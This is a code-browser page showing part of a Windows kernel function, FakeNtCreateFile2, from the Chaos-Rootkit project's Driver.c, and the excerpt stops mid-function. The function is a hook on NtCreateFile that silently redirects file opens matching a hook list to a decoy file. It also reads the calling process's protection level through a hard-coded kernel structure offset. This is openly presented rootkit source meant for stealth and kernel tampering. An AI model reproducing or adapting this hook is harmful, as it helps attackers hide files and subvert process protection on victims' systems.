MCPcopy Create free account
hub / github.com/ZeroMemoryEx/Chaos-Rootkit / FakeNtCreateFile2

Function FakeNtCreateFile2

Chaos-Rootkit/Driver.c:59–180  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

57exprocess_offsets eoffsets;
58
59NTSTATUS WINAPI FakeNtCreateFile2(
60 PHANDLE FileHandle,
61 ACCESS_MASK DesiredAccess,
62 POBJECT_ATTRIBUTES ObjectAttributes,
63 PIO_STATUS_BLOCK IoStatusBlock,
64 PLARGE_INTEGER AllocationSize,
65 ULONG FileAttributes,
66 ULONG ShareAccess,
67 ULONG CreateDisposition,
68 ULONG CreateOptions,
69 PVOID EaBuffer,
70 ULONG EaLength
71) {
72 NTSTATUS status = STATUS_UNSUCCESSFUL;
73 int requestorPid = 0x0;
74 KMUTEX Mutex;
75 KeInitializeMutex(&Mutex, 0);
76 KeWaitForSingleObject(&Mutex, Executive, ExGetPreviousMode(), FALSE, NULL);
77
78 __try
79 {
80
81 __try {
82
83 if (ObjectAttributes &&
84 ObjectAttributes->ObjectName &&
85 ObjectAttributes->ObjectName->Buffer) {
86
87 // Check if the filename matches the hook list
88 if (wcsstr(ObjectAttributes->ObjectName->Buffer, xHooklist.filename) && !wcsstr(ObjectAttributes->ObjectName->Buffer, L".lnk")) {
89
90 PVOID process = NULL;
91
92 NTSTATUS ret = PsLookupProcessByProcessId((HANDLE)PsGetCurrentProcessId(), &process);
93
94 if (ret != STATUS_SUCCESS)
95 {
96 if (ret == STATUS_INVALID_PARAMETER)
97 {
98 DbgPrint("the process ID was not found.");
99 }
100 if (ret == STATUS_INVALID_CID)
101 {
102 DbgPrint("the specified client ID is not valid.");
103 }
104 return (-1);
105 }
106
107 RtlCopyUnicodeString(ObjectAttributes->ObjectName, &xHooklist.decoyFile);
108
109 ObjectAttributes->ObjectName->Length = xHooklist.decoyFile.Length;
110 ObjectAttributes->ObjectName->MaximumLength = xHooklist.decoyFile.MaximumLength;
111
112
113 ULONG_PTR EProtectionLevel = (ULONG_PTR)process + eoffsets.protection_offset;
114
115 ObDereferenceObject(process);
116

Callers

nothing calls this directly

Calls 1

Tested by

no test coverage detected